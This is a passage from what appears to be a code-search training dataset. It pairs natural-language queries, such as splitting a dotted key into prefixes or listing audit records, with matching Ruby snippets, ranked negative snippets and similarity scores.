"0.4993638",
"0.498931",
"0.49858904",
"0.49836358",
"0.4972279",
"0.49714792",
"0.4967428",
"0.49551105",
"0.49418056",
"0.49415705",
"0.49369234",
"0.49188495",
"0.49175906",
"0.4914754",
"0.4902841",
"0.4897418",
"0.48867622",
"0.48733625",
"0.48515987",
"0.48486987",
"0.48300174",
"0.48288563",
"0.48187158",
"0.4813722",
"0.48034847"
] |
0.57253116
|
14
|
For a key :'foo.bar.baz' return ['foo', 'foo.bar', 'foo.bar.baz']
|
def expand_keys(key)
key.to_s.split(FLATTEN_SEPARATOR).inject([]) do |keys, k|
keys << [keys.last, k].compact.join(FLATTEN_SEPARATOR)
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def keys_for(key = EMPTY_STRING)\n key.split(NAMESPACE_PATTERN)\n end",
"def keys_for(key = EMPTY_STRING)\n key.split(NAMESPACE_PATTERN)\n end",
"def expand_key( key )\n ek = case key\n when Array\n key\n when /\\./\n key.split(\".\")\n else\n [ key ]\n end\n ek.select { |k| k.to_s.strip.length > 0 }\n end",
"def keys\n return full_path.to_s.split('.') if full_path\n return [key.to_s] unless path&.present?\n\n [path, key].compact.join('.').split('.')\n end",
"def split_and_parse_key(key)\n key.split(/(?<!\\\\)\\./).reject(&:empty?).map do |key_part|\n case key_part\n when /^\\.\\$/ # For keys in the form of .$key\n key_part.gsub(/^\\./, '')\n when /\\A[-+]?[0-9]+\\z/\n key_part.to_i\n else\n key_part.gsub('\\\\', '')\n end\n end.reject { |k| k == '$body' }\n end",
"def join_keys *segments\n segments.map(&:to_s).select(&:present?).join(\".\")\n end",
"def parse_key(key)\n key.to_s.split(\"[\").map {|component|component.gsub(/]/,\"\")}\n end",
"def parse_key(key)\n key.gsub(\"]\", \"\").split(\"[\")\n end",
"def parse_key(key)\n key.gsub(/(\\[|\\])/, \" \").split(/\\s+/)\n end",
"def parse_key(key)\n key.split(/[\\[\\]]/).select { |str| !str.empty? }\n end",
"def parse_key(key)\n keys = key.scan(/\\w+\\b/)\n #.split(/[\\[\\]]/).reject { |key| key == \"\"}\n end",
"def get(key)\n parts = key.split('.')\n curs = self\n while p = parts.shift\n curs = curs.send(p)\n end\n curs\n end",
"def parse_key(key)\n array = key.split(\"[\")\n array.map do |i| \n if i.include?(\"]\") \n i.chop\n else\n i\n end\n end\n end",
"def parse_key(key)\n key.dup.split(/\\]\\[|\\[|\\]/)\n end",
"def parse_key(key)\n key.split(/\\]\\[|\\[|\\]/).flatten\n end",
"def get_levels( key )\n\t\tall, main, bracketed, trailing = PARAMS_HASH_RE.match( key ).to_a\n\t\tif main.nil?\n\t\t\treturn []\n\t\telsif trailing\n\t\t\treturn [key]\n\t\telsif bracketed\n\t\t\treturn [main] + bracketed.slice(1...-1).split('][')\n\t\telse\n\t\t\treturn [main]\n\t\tend\n\tend",
"def list(varpfx)\n # Strip leading/trailing periods\n varpfx = varpfx[1, varpfx.length] if varpfx =~ /^\\./\n varpfx = varpfx[0, varpfx.length - 1] if varpfx =~ /\\.$/\n\n # XXX: Really need a tree structure to do this efficiently\n conf.keys.inject([]) do |ar, k|\n if k =~ /^#{varpfx}\\./\n ar << k.gsub(/^#{varpfx}\\./, '').split(\".\")[0]\n end\n ar\n end.sort.uniq\n end",
"def split_key(key)\n return [key] if key.match(SPECIAL).nil?\n segments = key.split(/(\\s*\"[^\"]+\"\\s*|\\s*'[^']+'\\s*|[^'\".]+)/)\n if segments.empty?\n # Only happens if the original key was an empty string\n raise yield('Syntax error')\n elsif segments.shift == ''\n count = segments.size\n raise yield('Syntax error') unless count > 0\n\n segments.keep_if { |seg| seg != '.' }\n raise yield('Syntax error') unless segments.size * 2 == count + 1\n segments.map! do |segment|\n segment.strip!\n if segment.start_with?('\"', \"'\")\n segment[1..-2]\n elsif segment =~ /^(:?[+-]?[0-9]+)$/\n segment.to_i\n else\n segment\n end\n end\n else\n raise yield('Syntax error')\n end\n end",
"def parse_key(key)\n array = key.split(/\\]\\[|\\[|\\]/)\n end",
"def parse_key(key)\n re = /\\]\\[|\\[|\\]/\n key.split(re)\n end",
"def keys(key)\n Array(@nesting) + Array(key)\n end",
"def parse_key(key)\n array = key.split(/\\]\\[|\\[|\\]/)\n end",
"def parse_key(key)\n key.split(/\\]\\[|\\[|\\]/)\n end",
"def parse_key(key)\n key.split(/\\]\\[|\\[|\\]/)\n end",
"def parse_key(key)\n key.split(/\\]\\[|\\[|\\]/)\n end",
"def parse_key(key)\n key.split(/\\]\\[|\\[|\\]/)\n end",
"def parse_key(key)\n key.split(/\\]\\[|\\[|\\]/)\n end",
"def parse_key(key)\n key.split(/\\]\\[|\\[|\\]/)\n end",
"def parse_key(key)\n key.split(/\\]\\[|\\[|\\]/)\n end",
"def parse_key(key)\n key.split(/\\]\\[|\\[|\\]/)\n end",
"def parse_key(key)\n key.split(/\\[|\\]\\[|\\]/)\n end",
"def parse_key(key)\n key.split(/\\]\\[|\\[|\\]/).reject(&:empty?)\n end",
"def parse_key(key)\n key.split(/\\]\\[|\\[|\\]/)\n end",
"def parse_key(key)\n key.split(/\\]\\[|\\[|\\]/)\n end",
"def parse_key(key)\n key.split(/\\]\\[|\\[|\\]/)\n end",
"def parse_key(key)\n key.split(/\\]\\[|\\[|\\]/)\n end",
"def parse_key(key)\n key.split(/\\]\\[|\\[|\\]/)\n end",
"def parse_key(key)\n key.split(/\\]\\[|\\[|\\]/)\n end",
"def parse_key(key)\n key.split(/\\]\\[|\\[|\\]/)\n end",
"def parse_key(key)\n key.split(/\\]\\[|\\[|\\]/)\n end",
"def parse_key(key)\n key.split(/\\]\\[|\\[|\\]/)\n end",
"def parse_key(key)\n key.split(/\\]\\[|\\[|\\]/)\n end",
"def parse_key(key)\n key.split(/\\]\\[|\\[|\\]/)\n end",
"def parse_key(key)\n key.split(\"[\").each {|string| string.gsub!(\"]\",\"\")}\n end",
"def array_of_keys(key)\n n = query(@connection, key)\n if n.nil?\n []\n else\n a = []\n n.each do |value|\n a.push(value.key.gsub(key, ''))\n end\n a\n end\n end",
"def possible_namespaces\n namespaces = []\n key = @key.to_s\n while (index = key.rindex('_'))\n key = key[0, index]\n namespaces << key.to_sym\n end\n namespaces\n end",
"def parse_keys(keys)\n if keys.include?('[') || keys.include?(']')\n keys.delete(']').split('[')\n else\n [keys]\n end\n end",
"def parse_key(key)\n key.split(/\\]\\[|\\[|\\]/).map(&:to_sym)\n end",
"def key_segments\n if !@key_segments.present?\n @key_segments ||= path.split('/').map do |s|\n s if s[0] == ':'\n end.compact\n else\n @key_segments\n end\n end",
"def parse_key(key)\n key.split /\\]\\[|\\[|\\]/\n end",
"def parse_key(keys)\n keys.tr(\"^a-zA-Z0-9 \", \" \").squeeze(\" \").strip.split(\" \")\n end",
"def split_key(str)\n if (str =~ /^(.+?)\\\\(.*)$/)\n [ $1, $2 ]\n else\n [ str, nil ]\n end\n end",
"def parse_key(key)\n key.split /\\]\\[|\\[|\\]/\n end",
"def extract_names(coll)\n\tnames = Array.new\n\tcoll.each do |entry|\n\t\tentry_a = entry.split '.'\n\t\tnames << entry_a.last\n\tend\n\treturn names\nend",
"def normalize_cache_key(key)\n if key.is_a?(Array)\n key.map { |part| normalize_cache_key(part) }.join('/')\n else\n key.to_s\n end\n end",
"def [](key)\n key.to_s.split(\".\").inject(@values) { |v, k| v[k] if v }\n end",
"def namespaced(key)\n return [@namespace, key].join(':')\n end",
"def namespaced(key)\n return [@namespace, key].join(':')\n end",
"def get_subgroup_names\n names = Array.new\n @subgroup.keys.each do |key|\n keypcs = key.split/:/\n names << keypcs[1]\n end\n return names\n end",
"def de_dot(list)\n list.delete('.')\n list.delete('..')\n list\n end",
"def key_for(key)\n key_parts = []\n key_parts << @namespace if @namespace && @namespace.length > 0\n \n # Gracefully handles arrays passed here as well, due to the flatten\n key_parts << key\n key_parts.flatten.join ':'\n end",
"def parse_key(key)\n # key.scan(/[a-z]/)\n key.scan(/[^\\[\\]]+/)\n end",
"def dot_key_values(hash)\n hash.map{|k,v| \n \"#{k}=\\\"#{ v.to_s.gsub(/\"/, \"''\" ).gsub(\"\\n\",' ') }\\\"\" \n }.join(', ') rescue \"boh1235: #{$!}\"\n end",
"def simplify_key_value_list(elements)\n # remove everything form right to left till the double unerline\n elements.each do |element|\n element.keyValueList.transform_keys! do |key|\n index = key.index('__')\n if !index.nil?\n key.slice(index + 2, key.length)\n else\n key\n end\n end\n end\n end",
"def get_vault_paths(keys = 'secret/')\n # We need to work with an array\n if keys.is_a?(String)\n keys = [keys]\n else\n raise ArgumentError, 'The supplied path must be a string or an array of strings.' unless keys.is_a?(Array)\n end\n\n # the first element should have a slash on the end, otherwise\n # this function is likely being called improperly\n keys.each do |key|\n raise ArgumentError, \"The supplied path #{key} should end in a slash.\" unless key[-1] == '/'\n end\n\n # go through each key and add all sub-keys to the array\n keys.each do |key|\n Vault.logical.list(key).each do |subkey|\n # if the key has a slash on the end, we must go deeper\n keys.push(\"#{key}#{subkey}\") if subkey[-1] == '/'\n end\n end\n\n # Remove duplicates (probably unnecessary), and sort\n keys.uniq.sort\nend",
"def parse_key(key)\n if key.include?(\"]\")\n key = key.split(/\\]\\[|\\]|\\[/)\n else\n key\n end\n\n key\n end",
"def parse(node_path)\n path = node_path[1..-1] while node_part.start_with '/' # lstrip '/'\n key = []\n for part in @path\n if part.is_a? String\n if path.start_with(part)\n path = path[part.length..-1]\n else\n raise \"Incorrect path for #{self} at #{part}: #{node_path} at #{part}\"\n end\n elsif part.is_a? Symbol\n value, path = path.split('/', 1)\n key << value\n else\n raise \"Invalid path part: #{part}\"\n end\n end\n key\n end",
"def convert_to_path_params_segments(some_path)\n segs = strip_bookend_slashes(some_path).split('/')\n \n return segs.map{ |seg|\n if ms = seg.match(/(?<=:)\\w+/)\n ms[0].to_sym\n else\n seg\n end\n }\n end",
"def dot_key_array\n return ['label', 'label and hint','message','message error', 'message info','message success','message warning','model','model and menu','action', 'lookup']\n end",
"def namespaced(key)\n [@namespace, key].join(':')\n end",
"def join_keys(hash, parent_keys = [])\n hash.inject([]) do |keys, (key, value)|\n full_key = parent_keys + [key]\n if value.is_a?(Hash)\n keys += join_keys(value, full_key)\n elsif !value.nil?\n keys << [full_key.join('.'), parse_value(value)]\n end\n keys\n end\n end",
"def [](key)\n old_bracket(key).chomp.split(PROTEIN_DELIMITER)\n end",
"def t(hash, key)\n key.split('.').inject(hash) { |r, seg| r[seg] if r }\n end",
"def collectd_key(key)\n return key.to_s.split('_').map{|x| x.capitalize}.join() if key.instance_of?(Symbol)\n \"#{key}\"\nend",
"def unprefixed_subtree_keys(key)\n prefixed_keys = subtree_keys(key)\n prefix = key.end_with?('/') ? key : key + '/'\n prefixed_keys.collect {|k| k.delete_prefix(prefix)}\n end",
"def at(key_chain)\n result = key_chain.split(\".\").inject(self) { |result, key| result = result ? result[key] : nil }\n end",
"def urls\n keys.map{ |k| k[/^#{prefix}(.*)/, 1] }\n end",
"def auth_domain_key(key)\n [AUTHDOMAIN, key].join('.')\n end",
"def normalize_to_list!(obj, key, nested_key: ActiveSupport::Inflector.singularize(key))\n if obj[key].is_a?(Hash)\n if obj[key][nested_key].is_a?(Hash)\n obj[key] = [obj[key][nested_key]]\n else\n obj[key] = obj[key][nested_key]\n end\n elsif obj[key].is_a?(String)\n obj[key] = []\n end\n end",
"def internal_subtree_keys(directory_key, delimiter: nil)\n keys = s3_bucket.objects(prefix: add_prefix(ensure_directory_key(directory_key)), delimiter: delimiter).collect(&:key)\n return remove_prefix(keys)\n end",
"def path_expression(key)\n case key\n when Integer\n \"[#{key}]\"\n when Symbol\n \".#{key_name(key)}\"\n else\n key\n end\n end",
"def parse_directory_name path\n dirname = path.basename.to_s\n dirname.split('.')\n end",
"def build_chain(path, ending)\n key = path.select{ |key,value| value.include?(ending) }.keys.first\n chain = [key, ending]\n until key.nil?\n key = path.select{ |k,v| v.include?(key) }.keys.first\n chain.unshift(key)\n end\n chain.compact\n end",
"def extension(key)\n return nil unless @extensions\n sequence = @extensions[key] || @extensions[key = key.downcase]\n return sequence unless String === sequence\n @extensions[key] = sequence.split(HYPHEN) #lazy\n @extensions[key]\n end",
"def hash_flatten prefix, value\n if value.is_a? Hash\n value.flat_map do |k, v|\n key = prefix.empty? ? k : [prefix, k].join('.')\n hash_flatten(key, v)\n end\n else\n [[prefix, value]]\n end\nend",
"def split_path(path_string)\n path_string.split('->').map! { |element| element.strip }\n end",
"def split_path(path_string)\n path_string.split('->').map! { |element| element.strip }\n end",
"def [](key)\n raise InvalidDot unless @@dots.keys.include? key.to_s\n dot = @@dots[key.to_s]\n dot.respond_to?(:call) ? dot.call : dot\n end",
"def get(key)\n subkeys = key.split('.')\n lastkey = subkeys.pop\n subhash = subkeys.inject(@config) do |hash, k|\n hash[k]\n end\n return nil if subhash.nil?\n\n subhash.key?(lastkey) ? subhash[lastkey] : nil\n end",
"def break_subdomains(str)\n all_domains = []\n ds = str.split('.')\n (0).upto(ds.size - 1) do |i|\n first_i = ds[0..i].join('.')\n all_domains.push(first_i)\n end\n all_domains.concat(ds).uniq\nend",
"def getPathElements(path)\n #N Without this path as a single string won't be decomposed into a list of elements\n return path.is_a?(String) ? (path == \"\" ? [] : path.split(\"/\")) : path\n end",
"def split_names(path)\n names = []\n while r = chop_basename(path)\n path, basename = r\n names.unshift basename\n end\n return path, names\n end",
"def get_from_hash(key, hash)\n key.to_s.split('.').inject(hash) { |h, k|\n h[k.is_i? ? k.to_i : k]\n }\nend",
"def get_sub_word(node, prefix)\n return [] if !starts_with(prefix)\n keys = node.children.keys\n result = []\n keys.each do |char|\n if node.children[char].end_of_word\n result << prefix + char\n end\n result.concat(get_sub_word(node.children[char], prefix + char))\n end\n result\n end",
"def remove_double_dots_from_path(path_array)\n while i = path_array.index('..')\n if i == 0\n path_array.shift\n else \n path_array.delete_at(i-1) \n path_array.delete_at(i-1)\n end\n end\nend",
"def split_names(path)\n names = []\n while r = chop_basename(path)\n path, basename = r\n names.unshift basename\n end\n return path, names\n end",
"def filter_sort_tables(v)\n a = v.split(\".\")\n if a.length == 1\n return a[0]\n end\n a[-2]= a[-2].pluralize\n a[-2,2].join(\".\")\n end",
"def labels(hash_or_item, separator: '.')\n return nil unless hash_or_item.instance_of? Hash\n label_array = hash_or_item.map do |key, value|\n if value.instance_of? Hash\n labels(value, separator: separator).map { |v| prefix(key.to_s+separator, v) }.flatten\n else\n key.to_s\n end\n end\n label_array.flatten\nend",
"def path_with_keys()\n path = []\n\n for part in @path\n if part.is_a? String\n path << part\n elsif part.is_a? Symbol\n path << (yield part)\n else\n raise \"Invalid path part: #{part}\"\n end\n end\n '/' + path.join('/')\n end",
"def with_namespaces_key_for(keys = EMPTY_ARRAY)\n [*namespaces, *keys].join('_').upcase\n end"
] |
[
"0.69623184",
"0.69623184",
"0.686235",
"0.6850566",
"0.6773774",
"0.6711386",
"0.658199",
"0.6488892",
"0.6447253",
"0.64398766",
"0.6357553",
"0.63287884",
"0.63220304",
"0.63102543",
"0.62830657",
"0.6273429",
"0.62575173",
"0.62079704",
"0.61721337",
"0.61657137",
"0.61612487",
"0.6137511",
"0.6107317",
"0.6107317",
"0.6107317",
"0.6107317",
"0.6107317",
"0.6107317",
"0.6107317",
"0.6107317",
"0.61016506",
"0.6089954",
"0.6050498",
"0.6050498",
"0.6050498",
"0.6050498",
"0.6050498",
"0.6050498",
"0.6050498",
"0.6050498",
"0.6050498",
"0.6050498",
"0.6050498",
"0.6043743",
"0.600055",
"0.5992857",
"0.597309",
"0.59519655",
"0.5929364",
"0.5899473",
"0.5895177",
"0.58861595",
"0.588409",
"0.5839509",
"0.58365893",
"0.58241045",
"0.5808672",
"0.5808672",
"0.5738102",
"0.5698461",
"0.5641498",
"0.5606469",
"0.56018317",
"0.55509704",
"0.5535693",
"0.548605",
"0.5482325",
"0.5480662",
"0.5471951",
"0.54701275",
"0.54575473",
"0.5452164",
"0.54196626",
"0.54085726",
"0.5394684",
"0.5389074",
"0.530402",
"0.52942544",
"0.52526563",
"0.52347094",
"0.52249384",
"0.52243114",
"0.5217007",
"0.5191026",
"0.5190344",
"0.51833385",
"0.51833385",
"0.51744443",
"0.5151579",
"0.5142566",
"0.5140066",
"0.5131963",
"0.51233816",
"0.51166004",
"0.5114365",
"0.51106375",
"0.5110394",
"0.5109262",
"0.51068664",
"0.5104765"
] |
0.57886624
|
58
|
GET /audits GET /audits.json
|
def index
@audits = Audit.all
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def index\n @audits = Audit.all\n respond_with @audits\n end",
"def GetTicketAudits id,params = {}\n\n params = params.merge(path: \"tickets/#{id}/audits.json\")\n APICall(params)\n\n end",
"def api_v11_audits_get(opts = {})\n api_v11_audits_get_with_http_info(opts)\n return nil\n end",
"def index\n @audits = Audit.order_by({created_at: -1}).page params[:page]\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @audits }\n end\n end",
"def report\n @audits = Audit.all\n end",
"def audits(type, object_id, file_id)\n response = @client.get(\"editor/#{type}/#{object_id}/audits/#{file_id}\")\n verify response,\n forbidden: 'You do not have permission to export the audit file',\n not_found: 'Audit file does not exist',\n internal_server_error: 'Internal server error occurred.'\n end",
"def index\n @user_audits = UserAudit.all\n end",
"def new\n @audit = current_user.audits.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @audit }\n end\n end",
"def index\n @audits_not_started = current_user.audits.where('start_date > ?',Time.now) \n @audits= current_user.audits.paginate(:page => params[:page], :per_page => 3).order('id DESC')\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @audits }\n end\n\n end",
"def audits\n Audit::Tracking.log.audits(audit_bucket, self.id)\n end",
"def index\n @auditions = Audition.all\n end",
"def index\n @actor_auditions = ActorAudition.all\n end",
"def index\n # limit all queries\n @audits = query_limit_all(AUDIT, :login, :message).reverse\n\n respond_to do |format|\n format.html\n format.xml { render :xml => @audits }\n end\n end",
"def api_v11_audits_get_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: DefaultApi#api_v11_audits_get ...\"\n end\n \n # resource path\n path = \"/api/v11/audits\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n query_params[:'maxResults'] = opts[:'max_results'] if opts[:'max_results']\n query_params[:'resultOffset'] = opts[:'result_offset'] if opts[:'result_offset']\n query_params[:'startTime'] = opts[:'start_time'] if opts[:'start_time']\n query_params[:'endTime'] = opts[:'end_time'] if opts[:'end_time']\n query_params[:'query'] = opts[:'query'] if opts[:'query']\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n _header_accept = []\n _header_accept_result = @api_client.select_header_accept(_header_accept) and header_params['Accept'] = _header_accept_result\n\n # HTTP header 'Content-Type'\n _header_content_type = []\n header_params['Content-Type'] = @api_client.select_header_content_type(_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n \n\n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DefaultApi#api_v11_audits_get\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def audits criteria = {}\n $mongo[\"audits.#{self.class.name}\"].\n find(criteria.merge target: id).sort [[:at, -1]]\n end",
"def capa_pending_audits\n puts \"**************************\"\n puts params[:audit_id]\n puts \"***************************\" \n @capa_pending_findings = []\n @audit = Audit.find(params[:audit_id])\n @audit.findings.each do |finding|\n if finding.status_id == \"CAPA Pending\" || finding.status_id == \"\"\n @capa_pending_findings << finding\n end\n end\n respond_to do |format|\n # format.html # show.html.erb\n format.json { render json: @capa_pending_findings.to_json }\n end \n puts \"*****@capa_pending_findings*************#{@capa_pending_findings.inspect}\"\n end",
"def index\n @audiences = Audience.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @audiences }\n end\n end",
"def show\n @audit = Audit.find(params[:id])\n respond_with @audit.as_json(:include => [:location, :fine_tunes, :auditors, :auditees, :paragraphs => {only: [:id, :name]}])\n end",
"def show\n @audit = current_user.audits.find(params[:id])\n @findings= @audit.findings.paginate(:page => params[:page], :per_page => 7).order('id DESC')\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @audit }\n \n end\n end",
"def retrieve_audits_from_s3\n [].tap do |results|\n auditable_audit = new_audit({})\n auditable_s3_key = @s3_auditor.resolve_s3_key(auditable_audit)\n results.concat(@s3_auditor.read_audits(auditable_s3_key, auditable_audit.auditable))\n\n unless @auditor.audit_associated_with.nil?\n associated_audit_attrs = { associated: @auditor.send(@auditor.audit_associated_with) }\n associated_audit = new_audit(associated_audit_attrs)\n associated_s3_key = @s3_auditor.resolve_s3_key(associated_audit)\n results.concat(@s3_auditor.read_audits(associated_s3_key, associated_audit.auditable))\n end\n end\n end",
"def index\n @auditorios = Auditorio.all\n end",
"def index\n @audit_trails = AuditTrail.all\n end",
"def history\n @purchase_requisition = PurchaseRequisition.find(params[:id])\n\n \n @audits=Kaminari.paginate_array(@purchase_requisition.audits.sort_by{|e| -e.id}).page(params[:page]).per(10)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @purchase_requisitions }\n end \n\n end",
"def index\n if params[:document_id]\n @document = Document.find(params[:document_id])\n @project = @document.project \n @audits = Audit.where('document_id = ?', params[:document_id]) \n elsif @project.present?\n @audits = @project.audits\n end\n\n if params[:user_id]\n @audits = @audits.where(\"user_id = ?\", params[:user_id])\n @user = User.find(params[:user_id])\n end\n\n semantic_breadcrumb @project.name\n semantic_breadcrumb \"Audits\"\n @audits = @audits.order(sort_column + \" \" + sort_direction)\n @audits = @audits.page(params[:page])\n end",
"def index\n @traces = Trace.all\n\n render json: @traces\n end",
"def index\n @audit_logs = AuditLog.all\n end",
"def audit\n render :json=>@generic_file.audit\n end",
"def set_account\n @audits = Audit.find(params[:id])\n end",
"def index\n @captures = Capture.all\n\n render json: @captures\n end",
"def grouped_audits\n audits.group_by(&:request_uuid).map { |_, audits| audits.first }\n end",
"def index\n @auditvs = Auditv.all.page(params[:page]).per(10)\n end",
"def events\n url = 'https://api.artic.edu/api/v1/exhibitions?limit=35'\n\n res = RestClient.get(url)\n JSON.parse(res)\nend",
"def vitals\n raise UserNotAuthenticated unless access_token\n\n get('records/vitals')\n end",
"def index\n r = @api.get_attendances\n response = JSON.parse(r.body)\n if r.code == 200\n @attendances = response\n else\n redirect_to login_sign_in_admin_path, alert: response['message']\n end\n # @attendances = Attendance.all\n end",
"def show\n @event = EventDecorator.decorate(Event.find params[:id])\n @event_charges = EventChargeDecorator.decorate(@event.charges)\n @event_audits = {\n new: @event.owned_audits.where([\"created_at >= ?\", current_user.last_sign_in_at]),\n old: @event.owned_audits.where([\"created_at < ?\", current_user.last_sign_in_at])\n } if @event.owned_audits.present?\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end",
"def set_audible\n @audible = Audible.find(params[:id])\n end",
"def api_audit\n # authorize! :api_audit, Vehicle.new\n vehicle = Vehicle.find_by_id(params[:id])\n # filter params\n days = params[:days] || \"21\"\n type = params[:type] || \"\"\n # aquacadets\n gon.notes = []\n if vehicle.present?\n gon.notes = vehicle.api_audit_notes\n .note_of_sub_type(type)\n .past_x_days(days)\n .reverse\n gon.parameters = { \"days\" => days, \"type\" => type }\n # Only needed on first load\n if request.format.html?\n gon.path = \"/vehicles/#{vehicle.id}/api-audit\"\n gon.recordName = vehicle.make_model_description\n gon.uid = vehicle.lot_num\n end\n end\n\n respond_to do |format|\n format.html { render \"shared/api_audit.html.erb\" }\n format.json { render json: { notes: gon.notes.as_json, parameters: gon.parameters } }\n end\n end",
"def list\n get(uri: '/webhooks/')\n end",
"def index\n @hour_logs = HourLog.all\n render json: @hour_logs, status: 200\n end",
"def last_audit\n audits.last\n end",
"def last_audit\n audits.last\n end",
"def index\n @admittings = Admitting.all\n render json: @admittings\n end",
"def statuses\n request(:get, \"applicant_tracking/statuses\")\n end",
"def index\n @exhibits = Exhibit.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @exhibits }\n end\n end",
"def index\n @attendance_histories = AttendanceHistory.all\n end",
"def create\n @audit = @project.audits.build(audit_params)\n\n respond_to do |format|\n if @audit.save\n format.html { redirect_to @project, notice: 'Audit was successfully created.' }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def attendance_result\n history_id = params[\"history_id\"]\n Net::HTTP.get(URI.parse(\"#{ENV['PY_SERVER_URL']}/image_matching/history/#{history_id}\"))\n history_student = HistoryStudent.where(history_id: history_id)\n render json: history_student\n end",
"def index\n @reading_histories = current_user.reading_histories.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @reading_histories }\n end\n end",
"def index\n shoutouts = Shoutout.where(user_ids: params[:id])\n shoutouts = policy_scope(shoutouts)\n render json: shoutouts\n end",
"def index\n @budgets = Budget.find_owned_by current_user\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @budgets }\n end\n end",
"def aud; Settings.jwt.aud end",
"def list_audit_logs_for_date_range_for_tenant(args = {}) \n get(\"/tenants.json/#{args[:tenantId]}/auditlog\", args)\nend",
"def timeline\n Chirp.timeline(current_user)\n render json: @chirp\n end",
"def activity_statistics\n get(\"/user/#{@user_id}/activities.json\")\n end",
"def activity_statistics\n get(\"/user/#{@user_id}/activities.json\")\n end",
"def index\n if params[:story_id].present?\n @invitations = Story.find(params[:story_id]).invitations\n else\n @invitations = Invitation.find_by_email(@current_user.email)\n end\n render json: @invitations\n end",
"def destroy\n \n @audit = current_user.audits.find(params[:id])\n @audit.destroy\n \n UserMailer.audit_deleted_auditor(@audit,current_user).deliver\n UserMailer.audit_deleted_auditee(@audit,current_user).deliver\n respond_to do |format|\n format.html { redirect_to audits_url }\n format.json { head :no_content }\n end\n end",
"def show\n @distribution_audit = DistributionAudit.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @distribution_audit }\n end\n end",
"def list_assets\n get('/video/v1/assets')\n end",
"def my_absences\n @absences = AttendanceRecord.get_absences(current_user)\n end",
"def activities(id)\n get(\"/accounts/#{id}/activities\")['activities']\n end",
"def index\n @attendances = Attendance.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @attendances }\n end\n end",
"def account_history\n get('account/history')\n end",
"def index\n @recorded_broadcasts = RecordedBroadcast.where(broadcast_set_id: params[:broadcast_set_id])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @recorded_broadcasts }\n end\n end",
"def index\n @inciting_incidents = IncitingIncident.all\n render json: @inciting_incidents\n end",
"def index\n @recordeds = Recorded.where(user_id: @current_user.id)\n authorize @recordeds\n end",
"def audited?\n @audited\n end",
"def index\n @historicals = @project.historical\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @historicals }\n end\n end",
"def index\n @achievements = Achievement.all\n respond_with @achievements\n end",
"def index\n authorize! :read, ItemAlert\n @item_alerts = ItemAlert.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @item_alerts }\n end\n end",
"def index\n # only list current user's hangouts\n @hangouts = current_user.hangouts.order(\"start_date_time DESC\").page(params[:page]).per(10)\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @hangouts }\n end\n end",
"def index\n @resumes = Resume.where(:book_id => params[:book_id])\n\n render json: @resumes\n end",
"def index\n getProfile\n @availabilities = @therapist.get_availabilities\n @rec_Availabilities = @therapist.get_recuring_availabilities(2000,1)\n respond_to do |format|\n format.html { redirect_to availabitity_index, notice: \"Appointment declined.\"}\n format.json { render :status => 200, :json => { action: :index,\n availabilities: @availabilities,\n rec_availabilities: @rec_Availabilities,\n user: @user, therapist: @therapist}}\n end\n end",
"def index\n @api_v1_outcomes = Api::V1::Outcome.all\n end",
"def get_team_history_awards ( team_key )\n get_api_resource \"#{@@api_base_url}team/#{team_key}/history/awards\"\n end",
"def index\n @settlement_histories = Settlement::History.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @settlement_histories }\n end\n end",
"def goals\n get(\"/user/#{@user_id}/activities/goals/daily.json\")\n end",
"def audit\n @patient=User.find_by_wedgetail(params[:wedgetail],:order =>\"created_at DESC\")\n authorize_only (:patient) {@patient.wedgetail == @user.wedgetail}\n authorize :user\n @audits = Audit.paginate(:page => params[:page],:per_page => 60, :order => 'created_at DESC', :conditions => [\"patient=?\", params[:wedgetail]])\n end",
"def goals\n get(\"/user/#{@user_id}/activities/goals/daily.json\")\n end",
"def index\n @events = Event.all\n\n render json: @events, include: :talks\n end",
"def activities\n get_call(\"1/activities.json\")\n end",
"def audit\n conf['dashboard']['audit']\n end",
"def index\n @absences = Absence.all\n end",
"def index\n @absences = Absence.all\n end",
"def status\n return nil unless id\n resource = RESOURCE_UPDATE % { account_id: account.id }\n request = Request.new(account.client, :get, resource, params: to_params)\n Cursor.new(nil, request).to_a.select { |change| change[:tailored_audience_id] == id }\n end",
"def index\n @health_levels = HealthLevel.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @health_levels }\n end\n end",
"def get(id)\n\t\t\tkparams = {}\n\t\t\tclient.add_param(kparams, 'id', id);\n\t\t\tclient.queue_service_action_call('audit_audittrail', 'get', kparams);\n\t\t\tif (client.is_multirequest)\n\t\t\t\treturn nil;\n\t\t\tend\n\t\t\treturn client.do_queue();\n\t\tend",
